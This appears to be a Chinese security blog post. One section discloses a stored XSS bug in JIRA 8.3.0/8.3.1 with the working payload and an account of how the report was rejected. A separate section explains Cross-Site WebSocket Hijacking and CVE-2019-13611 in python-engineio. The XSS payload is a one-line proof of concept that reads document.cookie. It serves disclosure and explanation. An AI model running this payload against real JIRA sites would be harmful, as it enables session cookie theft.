2019年9月

前言

在JIRA v8.3.1还是最新版本的时候,通过Atlassian的邮件提交了该漏洞
然后等待了几天,Atlassian发布了v8.3.2
并告知我通过邮件自动在Service desk创建的issue已经不再使用,要去Bugcrowed提交
于是跑去Bugcrowed提交,又过了一个星期,对方表示非最新版本的漏洞不接受....
牛逼嗷 =.=

Payload

影响 JIRA v8.3.1 & 8.3.0, 对 v8.3.2 不起作用

!invalid_picture.jpg|width=405,height=304" onload="javascript:alert(document.cookie)!

Result

jira-result.png

起因

前一段时间在工作中意外发现,CORS 并不适用于 Websocket 链接。
具体表现为,浏览器会忽略在websocket upgrade handshake过程中,所返回的 CORS 头。
比起类似的 CSRF 来说,感觉比较冷门,遂成文记录一下。

原因

WebSocket 标准中,选择了由服务端来全权处理连接是否应该断开的逻辑,浏览器会自动带上用户所拥有的对应域下 Cookie。
类似于 CSRF,但在 Websocket 世界中称之为 Cross-Site WebSocket Hijacking (CSWSH)

相关标准:https://tools.ietf.org/html/rfc6455#section-4.2.2

由此引发的问题

在流行的 Python-EngineIO 框架中,服务端依赖 CORS 来拒绝非法来源的 websocket 链接,显然该行为无法正确的拒绝连接
可能引发信息泄露,或服务器保持大量无效连接导致资源耗尽的问题。(CVE-2019-13611)

链接:https://github.com/miguelgrinberg/python-engineio/issues/128